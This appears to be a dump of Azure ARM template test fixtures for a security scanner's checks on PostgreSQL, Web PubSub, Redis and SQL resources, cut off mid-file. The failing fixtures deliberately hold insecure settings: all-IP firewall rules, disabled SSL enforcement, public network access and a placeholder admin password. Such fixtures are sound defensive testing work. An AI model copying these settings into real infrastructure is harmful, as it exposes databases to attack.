"description": "Database administrator password" } }, "skuCapacity": { "type": "int", "defaultValue": 2, "metadata": { "description": "Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)" } }, "skuName": { "type": "string", "defaultValue": "GP_Gen5_2", "metadata": { "description": "Azure database for PostgreSQL sku name " } }, "skuSizeMB": { "type": "int", "defaultValue": 51200, "metadata": { "description": "Azure database for PostgreSQL Sku Size " } }, "skuTier": { "type": "string", "defaultValue": "GeneralPurpose", "metadata": { "description": "Azure database for PostgreSQL pricing tier" } }, "skuFamily": { "type": "string", "defaultValue": "Gen5", "metadata": { "description": "Azure database for PostgreSQL sku family" } }, "postgresqlVersion": { "type": "string", "allowedValues": [ "9.5", "9.6", "10", "11" ], "defaultValue": "11", "metadata": { "description": "PostgreSQL version" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "backupRetentionDays": { "type": "int", "defaultValue": 7, "metadata": { "description": "PostgreSQL Server backup retention days" } }, "geoRedundantBackup": { "type": "string", "defaultValue": "Disabled", "metadata": { "description": "Geo-Redundant Backup setting" } }, "virtualNetworkName": { "type": "string", "defaultValue": "azure_postgresql_vnet", "metadata": { "description": "Virtual Network Name" } }, "subnetName": { "type": "string", "defaultValue": "azure_postgresql_subnet", "metadata": { "description": "Subnet Name" } }, "virtualNetworkRuleName": { "type": "string", "defaultValue": "AllowSubnet", "metadata": { "description": "Virtual Network RuleName" } }, "vnetAddressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Virtual Network Address Prefix" } }, "subnetPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Subnet Address Prefix" } } }, "variables": { "firewallrules": { "batch": { "rules": [ { "Name": "rule1", "StartIpAddress": "0.0.0.0", "EndIpAddress": "255.255.255.255" }, { "Name": "rule2", "StartIpAddress": "0.0.0.0", "EndIpAddress": "255.255.255.255" } ] } } }, "resources": [ { "apiVersion": "2018-06-01", "type": "Microsoft.Network/virtualNetworks", "name": "[parameters('virtualNetworkName')]", "location": "[parameters('location')]", "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] } }, "resources": [ { "apiVersion": "2018-06-01", "type": "subnets", "location": "[parameters('location')]", "name": "[parameters('subnetName')]", "dependsOn": [ "[parameters('virtualNetworkName')]" ], "properties": { "addressPrefix": "[parameters('subnetPrefix')]" } } ] }, { "apiVersion": "2017-12-01", "type": "Microsoft.DBforPostgreSQL/servers", "location": "[parameters('location')]", "name": "[parameters('serverName')]", "sku": { "name": "[parameters('skuName')]", "tier": "[parameters('skuTier')]", "capacity": "[parameters('skuCapacity')]", "size": "[parameters('skuSizeMB')]", "family": "[parameters('skuFamily')]" }, "properties": { "version": "[parameters('postgresqlVersion')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "storageProfile": { "storageMB": "[parameters('skuSizeMB')]", "backupRetentionDays": "[parameters('backupRetentionDays')]", "geoRedundantBackup": "[parameters('geoRedundantBackup')]" } }, "resources": [ { "name": "[parameters('virtualNetworkRuleName')]", "type": "virtualNetworkRules", "apiVersion": "2017-12-01", "properties": { "virtualNetworkSubnetId": "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]", "ignoreMissingVnetServiceEndpoint": true }, "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', parameters('serverName'))]" ] } ] }, { "name": "[concat(parameters('serverName'),'/',variables('firewallrules').batch.rules[copyIndex()].Name)]", "type": "Microsoft.DBforPostgreSQL/servers/firewallRules", "apiVersion": "2017-12-01", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', parameters('serverName'))]" ], "copy": { "name": "firewallRulesCopy", "mode": "Serial", "batchSize": 1, "count": "[length(variables('firewallrules').batch.rules)]" }, "properties": { "startIpAddress": "[variables('firewallrules').batch.rules[copyIndex()].StartIpAddress]", "endIpAddress": "[variables('firewallrules').batch.rules[copyIndex()].EndIpAddress]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_PostgreSQLServerSSLEnforcementEnabled/postgreSQL-SSL-FAILED2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "serverName": { "type": "string", "metadata": { "description": "Server Name for Azure database for PostgreSQL" } }, "administratorLogin": { "type": "string", "minLength": 1, "metadata": { "description": "Database administrator login name" } }, "administratorLoginPassword": { "type": "securestring", "minLength": 8, "metadata": { "description": "Database administrator password" } }, "skuCapacity": { "type": "int", "defaultValue": 2, "metadata": { "description": "Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)" } }, "skuName": { "type": "string", "defaultValue": "GP_Gen5_2", "metadata": { "description": "Azure database for PostgreSQL sku name " } }, "skuSizeMB": { "type": "int", "defaultValue": 51200, "metadata": { "description": "Azure database for PostgreSQL Sku Size " } }, "skuTier": { "type": "string", "defaultValue": "GeneralPurpose", "metadata": { "description": "Azure database for PostgreSQL pricing tier" } }, "skuFamily": { "type": "string", "defaultValue": "Gen5", "metadata": { "description": "Azure database for PostgreSQL sku family" } }, "postgresqlVersion": { "type": "string", "allowedValues": [ "9.5", "9.6", "10", "11" ], "defaultValue": "11", "metadata": { "description": "PostgreSQL version" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "backupRetentionDays": { "type": "int", "defaultValue": 7, "metadata": { "description": "PostgreSQL Server backup retention days" } }, "geoRedundantBackup": { "type": "string", "defaultValue": "Disabled", "metadata": { "description": "Geo-Redundant Backup setting" } }, "virtualNetworkName": { "type": "string", "defaultValue": "azure_postgresql_vnet", "metadata": { "description": "Virtual Network Name" } }, "subnetName": { "type": "string", "defaultValue": "azure_postgresql_subnet", "metadata": { "description": "Subnet Name" } }, "virtualNetworkRuleName": { "type": "string", "defaultValue": "AllowSubnet", "metadata": { "description": "Virtual Network RuleName" } }, "vnetAddressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Virtual Network Address Prefix" } }, "subnetPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Subnet Address Prefix" } } }, "variables": { "firewallrules": { "batch": { "rules": [ { "Name": "rule1", "StartIpAddress": "0.0.0.0", "EndIpAddress": "255.255.255.255" }, { "Name": "rule2", "StartIpAddress": "0.0.0.0", "EndIpAddress": "255.255.255.255" } ] } } }, "resources": [ { "apiVersion": "2018-06-01", "type": "Microsoft.Network/virtualNetworks", "name": "[parameters('virtualNetworkName')]", "location": "[parameters('location')]", "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] } }, "resources": [ { "apiVersion": "2018-06-01", "type": "subnets", "location": "[parameters('location')]", "name": "[parameters('subnetName')]", "dependsOn": [ "[parameters('virtualNetworkName')]" ], "properties": { "addressPrefix": "[parameters('subnetPrefix')]" } } ] }, { "apiVersion": "2017-12-01", "type": "Microsoft.DBforPostgreSQL/servers", "location": "[parameters('location')]", "name": "[parameters('serverName')]", "sku": { "name": "[parameters('skuName')]", "tier": "[parameters('skuTier')]", "capacity": "[parameters('skuCapacity')]", "size": "[parameters('skuSizeMB')]", "family": "[parameters('skuFamily')]" }, "properties": { "version": "[parameters('postgresqlVersion')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "storageProfile": { "storageMB": "[parameters('skuSizeMB')]", "backupRetentionDays": "[parameters('backupRetentionDays')]", "geoRedundantBackup": "[parameters('geoRedundantBackup')]" }, "sslEnforcement": "Disabled" }, "resources": [ { "name": "[parameters('virtualNetworkRuleName')]", "type": "virtualNetworkRules", "apiVersion": "2017-12-01", "properties": { "virtualNetworkSubnetId": "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]", "ignoreMissingVnetServiceEndpoint": true }, "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', parameters('serverName'))]" ] } ] }, { "name": "[concat(parameters('serverName'),'/',variables('firewallrules').batch.rules[copyIndex()].Name)]", "type": "Microsoft.DBforPostgreSQL/servers/firewallRules", "apiVersion": "2017-12-01", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', parameters('serverName'))]" ], "copy": { "name": "firewallRulesCopy", "mode": "Serial", "batchSize": 1, "count": "[length(variables('firewallrules').batch.rules)]" }, "properties": { "startIpAddress": "[variables('firewallrules').batch.rules[copyIndex()].StartIpAddress]", "endIpAddress": "[variables('firewallrules').batch.rules[copyIndex()].EndIpAddress]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_PostgreSQLServerSSLEnforcementEnabled/postgreSQL-SSL-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "serverName": { "type": "string", "metadata": { "description": "Server Name for Azure database for PostgreSQL" } }, "administratorLogin": { "type": "string", "minLength": 1, "metadata": { "description": "Database administrator login name" } }, "administratorLoginPassword": { "type": "securestring", "minLength": 8, "metadata": { "description": "Database administrator password" } }, "skuCapacity": { "type": "int", "defaultValue": 2, "metadata": { "description": "Azure database for PostgreSQL compute capacity in vCores (2,4,8,16,32)" } }, "skuName": { "type": "string", "defaultValue": "GP_Gen5_2", "metadata": { "description": "Azure database for PostgreSQL sku name " } }, "skuSizeMB": { "type": "int", "defaultValue": 51200, "metadata": { "description": "Azure database for PostgreSQL Sku Size " } }, "skuTier": { "type": "string", "defaultValue": "GeneralPurpose", "metadata": { "description": "Azure database for PostgreSQL pricing tier" } }, "skuFamily": { "type": "string", "defaultValue": "Gen5", "metadata": { "description": "Azure database for PostgreSQL sku family" } }, "postgresqlVersion": { "type": "string", "allowedValues": [ "9.5", "9.6", "10", "11" ], "defaultValue": "11", "metadata": { "description": "PostgreSQL version" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "backupRetentionDays": { "type": "int", "defaultValue": 7, "metadata": { "description": "PostgreSQL Server backup retention days" } }, "geoRedundantBackup": { "type": "string", "defaultValue": "Disabled", "metadata": { "description": "Geo-Redundant Backup setting" } }, "virtualNetworkName": { "type": "string", "defaultValue": "azure_postgresql_vnet", "metadata": { "description": "Virtual Network Name" } }, "subnetName": { "type": "string", "defaultValue": "azure_postgresql_subnet", "metadata": { "description": "Subnet Name" } }, "virtualNetworkRuleName": { "type": "string", "defaultValue": "AllowSubnet", "metadata": { "description": "Virtual Network RuleName" } }, "vnetAddressPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Virtual Network Address Prefix" } }, "subnetPrefix": { "type": "string", "defaultValue": "10.0.0.0/16", "metadata": { "description": "Subnet Address Prefix" } } }, "variables": { "firewallrules": { "batch": { "rules": [ { "Name": "rule1", "StartIpAddress": "0.0.0.0", "EndIpAddress": "255.255.255.255" }, { "Name": "rule2", "StartIpAddress": "0.0.0.0", "EndIpAddress": "255.255.255.255" } ] } } }, "resources": [ { "apiVersion": "2018-06-01", "type": "Microsoft.Network/virtualNetworks", "name": "[parameters('virtualNetworkName')]", "location": "[parameters('location')]", "properties": { "addressSpace": { "addressPrefixes": [ "[parameters('vnetAddressPrefix')]" ] } }, "resources": [ { "apiVersion": "2018-06-01", "type": "subnets", "location": "[parameters('location')]", "name": "[parameters('subnetName')]", "dependsOn": [ "[parameters('virtualNetworkName')]" ], "properties": { "addressPrefix": "[parameters('subnetPrefix')]" } } ] }, { "apiVersion": "2017-12-01", "type": "Microsoft.DBforPostgreSQL/servers", "location": "[parameters('location')]", "name": "[parameters('serverName')]", "sku": { "name": "[parameters('skuName')]", "tier": "[parameters('skuTier')]", "capacity": "[parameters('skuCapacity')]", "size": "[parameters('skuSizeMB')]", "family": "[parameters('skuFamily')]" }, "properties": { "version": "[parameters('postgresqlVersion')]", "administratorLogin": "[parameters('administratorLogin')]", "administratorLoginPassword": "[parameters('administratorLoginPassword')]", "storageProfile": { "storageMB": "[parameters('skuSizeMB')]", "backupRetentionDays": "[parameters('backupRetentionDays')]", "geoRedundantBackup": "[parameters('geoRedundantBackup')]" }, "sslEnforcement": "Enabled" }, "resources": [ { "name": "[parameters('virtualNetworkRuleName')]", "type": "virtualNetworkRules", "apiVersion": "2017-12-01", "properties": { "virtualNetworkSubnetId": "[resourceId('Microsoft.Network/virtualNetworks/subnets', parameters('virtualNetworkName'), parameters('subnetName'))]", "ignoreMissingVnetServiceEndpoint": true }, "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', parameters('serverName'))]" ] } ] }, { "name": "[concat(parameters('serverName'),'/',variables('firewallrules').batch.rules[copyIndex()].Name)]", "type": "Microsoft.DBforPostgreSQL/servers/firewallRules", "apiVersion": "2017-12-01", "location": "[parameters('location')]", "dependsOn": [ "[concat('Microsoft.DBforPostgreSQL/servers/', parameters('serverName'))]" ], "copy": { "name": "firewallRulesCopy", "mode": "Serial", "batchSize": 1, "count": "[length(variables('firewallrules').batch.rules)]" }, "properties": { "startIpAddress": "[variables('firewallrules').batch.rules[copyIndex()].StartIpAddress]", "endIpAddress": "[variables('firewallrules').batch.rules[copyIndex()].EndIpAddress]" } } ] } ================================================ FILE: tests/arm/checks/resource/example_PostgressSQLGeoBackupEnabled/fail1.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforPostgreSQL/servers", "apiVersion": "2017-12-01", "name": "fail1", "location": "[resourceGroup().location]", "properties": { "administratorLogin": "psqladminun", "administratorLoginPassword": "blabla", "version": "9.6", "storageProfile": { "storageMB": 640000, "backupRetentionDays": 7, "geoRedundantBackup": "Disabled" }, "sslEnforcement": "Enabled", "minimalTlsVersion": "TLS1_2" }, "sku": { "name": "GP_Gen5_4" } } ] } ================================================ FILE: tests/arm/checks/resource/example_PostgressSQLGeoBackupEnabled/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforPostgreSQL/servers", "apiVersion": "2017-12-01", "name": "fail2", "location": "[resourceGroup().location]", "properties": { "administratorLogin": "psqladminun", "administratorLoginPassword": "blabla", "version": "9.6", "storageProfile": { "storageMB": 640000, "backupRetentionDays": 7 }, "sslEnforcement": "Enabled", "minimalTlsVersion": "TLS1_2" }, "sku": { "name": "GP_Gen5_4" } } ] } ================================================ FILE: tests/arm/checks/resource/example_PostgressSQLGeoBackupEnabled/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.DBforPostgreSQL/servers", "apiVersion": "2017-12-01", "name": "pass", "location": "[resourceGroup().location]", "properties": { "administratorLogin": "psqladminun", "administratorLoginPassword": "blabla", "version": "9.6", "storageProfile": { "storageMB": 640000, "backupRetentionDays": 7, "geoRedundantBackup": "Enabled" }, "sslEnforcement": "Enabled", "minimalTlsVersion": "TLS1_2" }, "sku": { "name": "GP_Gen5_4" } } ] } ================================================ FILE: tests/arm/checks/resource/example_PubsubSKUSLA/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.13.1.58284", "templateHash": "18262070107935981048" } }, "parameters": { "wpsName": { "type": "string", "defaultValue": "[uniqueString(resourceGroup().id)]", "minLength": 3, "maxLength": 63, "metadata": { "description": "The name for your new Web PubSub instance." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The region in which to create the new instance, defaults to the same location as the resource group." } }, "unitCount": { "type": "int", "defaultValue": 1, "allowedValues": [ 1, 2, 5, 10, 20, 50, 100 ], "metadata": { "description": "Unit count" } }, "sku": { "type": "string", "defaultValue": "Free_F1", "allowedValues": [ "Standard_S1", "Free_F1" ], "metadata": { "description": "SKU name" } }, "pricingTier": { "type": "string", "defaultValue": "Free", "allowedValues": [ "Free", "Standard" ], "metadata": { "description": "Pricing tier" } } }, "resources": [ { "type": "Microsoft.SignalRService/webPubSub", "apiVersion": "2021-10-01", "name": "fail", "location": "[parameters('location')]", "sku": { "capacity": "[parameters('unitCount')]", "name": "Free_F1", "tier": "[parameters('pricingTier')]" }, "identity": { "type": "None" }, "properties": { "disableAadAuth": false, "disableLocalAuth": false, "liveTraceConfiguration": { "categories": [ { "enabled": "false", "name": "ConnectivityLogs" }, { "enabled": "false", "name": "MessagingLogs" } ], "enabled": "false" }, "networkACLs": { "defaultAction": "Deny", "publicNetwork": { "allow": [ "ServerConnection", "ClientConnection", "RESTAPI", "Trace" ] } }, "publicNetworkAccess": "Enabled", "resourceLogConfiguration": { "categories": [ { "enabled": "true", "name": "ConnectivityLogs" }, { "enabled": "true", "name": "MessagingLogs" } ] }, "tls": { "clientCertEnabled": false } } } ] } ================================================ FILE: tests/arm/checks/resource/example_PubsubSKUSLA/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "metadata": { "_generator": { "name": "bicep", "version": "0.13.1.58284", "templateHash": "18262070107935981048" } }, "parameters": { "wpsName": { "type": "string", "defaultValue": "[uniqueString(resourceGroup().id)]", "minLength": 3, "maxLength": 63, "metadata": { "description": "The name for your new Web PubSub instance." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "The region in which to create the new instance, defaults to the same location as the resource group." } }, "unitCount": { "type": "int", "defaultValue": 1, "allowedValues": [ 1, 2, 5, 10, 20, 50, 100 ], "metadata": { "description": "Unit count" } }, "sku": { "type": "string", "defaultValue": "Free_F1", "allowedValues": [ "Standard_S1", "Free_F1" ], "metadata": { "description": "SKU name" } }, "pricingTier": { "type": "string", "defaultValue": "Free", "allowedValues": [ "Free", "Standard" ], "metadata": { "description": "Pricing tier" } } }, "resources": [ { "type": "Microsoft.SignalRService/webPubSub", "apiVersion": "2021-10-01", "name": "pass", "location": "[parameters('location')]", "sku": { "capacity": "[parameters('unitCount')]", "name": "Standard_S1", "tier": "[parameters('pricingTier')]" }, "identity": { "type": "None" }, "properties": { "disableAadAuth": false, "disableLocalAuth": false, "liveTraceConfiguration": { "categories": [ { "enabled": "false", "name": "ConnectivityLogs" }, { "enabled": "false", "name": "MessagingLogs" } ], "enabled": "false" }, "networkACLs": { "defaultAction": "Deny", "publicNetwork": { "allow": [ "ServerConnection", "ClientConnection", "RESTAPI", "Trace" ] } }, "publicNetworkAccess": "Enabled", "resourceLogConfiguration": { "categories": [ { "enabled": "true", "name": "ConnectivityLogs" }, { "enabled": "true", "name": "MessagingLogs" } ] }, "tls": { "clientCertEnabled": false } } } ] } ================================================ FILE: tests/arm/checks/resource/example_PubsubSpecifyIdentity/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.SignalRService/webPubSub", "apiVersion": "2021-02-01", "name": "fail", "location": "[parameters('location')]", "sku": { "name": "Free_F1", "capacity": 1 }, "properties": { "liveTraceConfiguration": { "enabled": "true", "categories": [ { "name": "MessagingLogs", "enabled": "true" }, { "name": "ConnectivityLogs", "enabled": "false" } ] } }, "publicNetworkAccess": "Disabled" } ] } ================================================ FILE: tests/arm/checks/resource/example_PubsubSpecifyIdentity/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.SignalRService/webPubSub", "apiVersion": "2021-02-01", "name": "pass", "location": "[parameters('location')]", "sku": { "name": "Standard_S1", "capacity": 1 }, "identity": { "type": "SystemAssigned" }, "properties": { "liveTraceConfiguration": { "enabled": "true", "categories": [ { "name": "MessagingLogs", "enabled": "true" }, { "name": "ConnectivityLogs", "enabled": "false" } ] } }, "publicNetworkAccess": "Disabled" } ] } ================================================ FILE: tests/arm/checks/resource/example_PubsubSpecifyIdentity/pass2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.SignalRService/webPubSub", "apiVersion": "2021-02-01", "name": "pass2", "location": "[parameters('location')]", "sku": { "name": "Standard_S1", "capacity": 1 }, "identity": { "type": "UserAssigned" }, "properties": { "liveTraceConfiguration": { "enabled": "true", "categories": [ { "name": "MessagingLogs", "enabled": "true" }, { "name": "ConnectivityLogs", "enabled": "false" } ] } }, "publicNetworkAccess": "Disabled" } ] } ================================================ FILE: tests/arm/checks/resource/example_RedisCachePublicNetworkAccessEnabled/fail.json ================================================ { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "resources": [ { "name": "fail", "type": "Microsoft.Cache/redis", "apiVersion": "2023-04-01", "location": "uksouth", "dependsOn": [], "properties": { "sku": { "name": "Standard", "family": "C", "capacity": 1 }, "redisConfiguration": {}, "enableNonSslPort": false, "publicNetworkAccess": "Enabled", "redisVersion": "6" }, "tags": {} } ] } ================================================ FILE: tests/arm/checks/resource/example_RedisCachePublicNetworkAccessEnabled/fail2.json ================================================ { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "resources": [ { "name": "fail2", "type": "Microsoft.Cache/redis", "apiVersion": "2023-04-01", "location": "uksouth", "dependsOn": [], "properties": { "sku": { "name": "Standard", "family": "C", "capacity": 1 }, "redisConfiguration": {}, "enableNonSslPort": false, "redisVersion": "6" }, "tags": {} } ] } ================================================ FILE: tests/arm/checks/resource/example_RedisCachePublicNetworkAccessEnabled/pass.json ================================================ { "$schema": "http://schema.management.azure.com/schemas/2014-04-01-preview/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": {}, "resources": [ { "name": "pass", "type": "Microsoft.Cache/redis", "apiVersion": "2023-04-01", "location": "uksouth", "dependsOn": [], "properties": { "sku": { "name": "Standard", "family": "C", "capacity": 1 }, "redisConfiguration": {}, "enableNonSslPort": false, "publicNetworkAccess": "Disabled", "redisVersion": "6" }, "tags": {} } ] } ================================================ FILE: tests/arm/checks/resource/example_SQLDatabaseZoneRedundant/fail.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Sql/servers/databases", "apiVersion": "2014-04-01", "name": "fail", "location": "[resourceGroup().location]", "properties": { "collation": "SQL_Latin1_General_CP1_CI_AS", "licenseType": "LicenseIncluded", "maxSizeBytes": 4, "readScale": "Enabled" }, "sku": { "name": "S0" }, "tags": { "environment": "Production" } } ] } ================================================ FILE: tests/arm/checks/resource/example_SQLDatabaseZoneRedundant/fail2.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Sql/servers/databases", "apiVersion": "2014-04-01", "name": "fail2", "location": "[resourceGroup().location]", "properties": { "collation": "SQL_Latin1_General_CP1_CI_AS", "licenseType": "LicenseIncluded", "maxSizeBytes": 4, "readScale": "Enabled", "zoneRedundant": false }, "sku": { "name": "S0" }, "tags": { "environment": "Production" } } ] } ================================================ FILE: tests/arm/checks/resource/example_SQLDatabaseZoneRedundant/pass.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "resources": [ { "type": "Microsoft.Sql/servers/databases", "apiVersion": "2014-04-01", "name": "pass", "location": "[resourceGroup().location]", "properties": { "collation": "SQL_Latin1_General_CP1_CI_AS", "licenseType": "LicenseIncluded", "maxSizeBytes": 4, "readScale": "Enabled", "zoneRedundant": true }, "sku": { "name": "S0" }, "tags": { "environment": "Production" } } ] } ================================================ FILE: tests/arm/checks/resource/example_SQLServerAuditingEnabled/sqlServerAuditingEnabled-PASSED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sqlServerName": { "type": "string", "defaultValue": "serverEnabled", "metadata": { "description": "Name of the SQL server" } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } }, "sqlAdministratorLogin": { "type": "string", "metadata": { "description": "The administrator username of the SQL Server." } }, "sqlAdministratorLoginPassword": { "type": "securestring", "metadata": { "description": "The administrator password of the SQL Server." } }, "storageAccountName": { "type": "string", "defaultValue": "[concat('sqlaudit', uniqueString(resourceGroup().id))]", "metadata": { "description": "The name of the auditing storage account." } }, "isStorageBehindVnet": { "type": "bool", "defaultValue": false, "metadata": { "description": "Enable Auditing to storage behind Virtual Network or firewall rules. The user deploying the template must have an administrator or owner permissions." } } }, "variables": { "StorageBlobContributor": "[subscriptionResourceId('Microsoft.Authorization/roleDefinitions', 'ba92f5b4-2d11-453d-a403-e96b0029c9fe')]", "uniqueRoleGuid": "[guid(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), variables('storageBlobContributor'), resourceId('Microsoft.Sql/servers', parameters('sqlServerName')))]" }, "resources": [ { "type": "Microsoft.Storage/storageAccounts", "name": "[parameters('storageAccountName')]", "apiVersion": "2019-06-01", "location": "[parameters('location')]", "sku": { "name": "Standard_LRS" }, "kind": "StorageV2", "properties": { "networkAcls": { "bypass": "AzureServices", "defaultAction": "[if(parameters('isStorageBehindVnet'), 'Deny', 'Allow')]" } }, "resources": [ { "condition": "[parameters('isStorageBehindVnet')]", "type": "Microsoft.Storage/storageAccounts/providers/roleAssignments", "apiVersion": "2020-03-01-preview", "name": "[concat(parameters('storageAccountName'), '/Microsoft.Authorization/', variables('uniqueRoleGuid'))]", "dependsOn": [ "[resourceId('Microsoft.Sql/servers', parameters('sqlServerName'))]", "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]" ], "properties": { "roleDefinitionId": "[variables('StorageBlobContributor')]", "principalId": "[reference(resourceId('Microsoft.Sql/servers', parameters('sqlServerName')), '2019-06-01-preview', 'Full').identity.principalId]", "scope": "[resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName'))]", "principalType": "ServicePrincipal" } } ] }, { "type": "Microsoft.Sql/servers", "apiVersion": "2019-06-01-preview", "location": "[parameters('location')]", "name": "[parameters('sqlServerName')]", "identity": "[if(parameters('isStorageBehindVnet'), json('{\"type\":\"SystemAssigned\"}'), json('null'))]", "properties": { "administratorLogin": "[parameters('sqlAdministratorLogin')]", "administratorLoginPassword": "[parameters('sqlAdministratorLoginPassword')]", "version": "12.0" }, "tags": { "displayName": "[parameters('sqlServerName')]" }, "resources": [ { "type": "auditingSettings", "apiVersion": "2019-06-01-preview", "name": "DefaultAuditingSettings", "dependsOn": [ "[parameters('sqlServerName')]", "[parameters('storageAccountName')]", "[extensionResourceId(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), 'Microsoft.Authorization/roleAssignments/', variables('uniqueRoleGuid'))]" ], "properties": { "state": "Enabled", "storageEndpoint": "[reference(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').PrimaryEndpoints.Blob]", "storageAccountAccessKey": "[if(parameters('isStorageBehindVnet'), json('null'), listKeys(resourceId('Microsoft.Storage/storageAccounts', parameters('storageAccountName')), '2019-06-01').keys[0].value)]", "storageAccountSubscriptionId": "[subscription().subscriptionId]", "isStorageSecondaryKeyInUse": false } } ] } ] } ================================================ FILE: tests/arm/checks/resource/example_SQLServerAuditingEnabled/sqlServerAuditingEnabled-TDE-FAILED.json ================================================ { "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", "contentVersion": "1.0.0.0", "parameters": { "sqlAdministratorLogin": { "type": "string", "metadata": { "description": "The administrator username of the SQL Server." } }, "sqlAdministratorLoginPassword": { "type": "securestring", "metadata": { "description": "The administrator password of the SQL Server." } }, "transparentDataEncryption": { "type": "string", "allowedValues": [ "Enabled", "Disabled" ], "defaultValue": "Enabled", "metadata": { "description": "Enable or disable Transparent Data Encryption (TDE) for the database." } }, "location": { "type": "string", "defaultValue": "[resourceGroup().location]", "metadata": { "description": "Location for all resources." } } }, "variables": { "sqlServerName": "serverDefault", "databaseName": "sample-db-with-tde", "databaseEdition": "Basic", "databaseCollation": "SQL_Latin1_General_CP1_CI_AS", "databaseServiceObjectiveName": "Basic" }, "resources": [ { "name": "[variables('sqlServerName')]", "type": "Microsoft.Sql/servers", "apiVersion": "2019-06-01-preview", "location": "[parameters('location')]", "tags": { "displayName": "SqlServer" }, "properties": { "administratorLogin": "[parameters('sqlAdministratorLogin')]", "administratorLoginPassword": "[parameters('sqlAdministratorLoginPassword')]", "version": "12.0" }, "resources": [ { "name": "[variables('databaseName')]", "type": "databases", "apiVersion": "2019-06-01-preview", "location": "[parameters('location')]", "tags": { "displayName": "Database" }, "properties": { "edition": "[variables('databaseEdition')]", "collation": "[variables('databaseCollation')]", "requestedServiceObjectiveName": "[variables('databaseServiceObjectiveName')]" }, "dependsOn": [ "[variables('sqlServerName')]" ], "resources": [ { "comments": "Transparent Data Encryption", "name": "current", "type": "transparentDataEncryption", "apiVersion": "2014-04-01-preview", "properties": { "status": "[parameters('transparentDataEncryption')]" }, "dependsOn": [ "[variables('databaseName')]" ] } ] }, { "name": "AllowAllMicrosoftAzureIps", "type": "firewallrules", 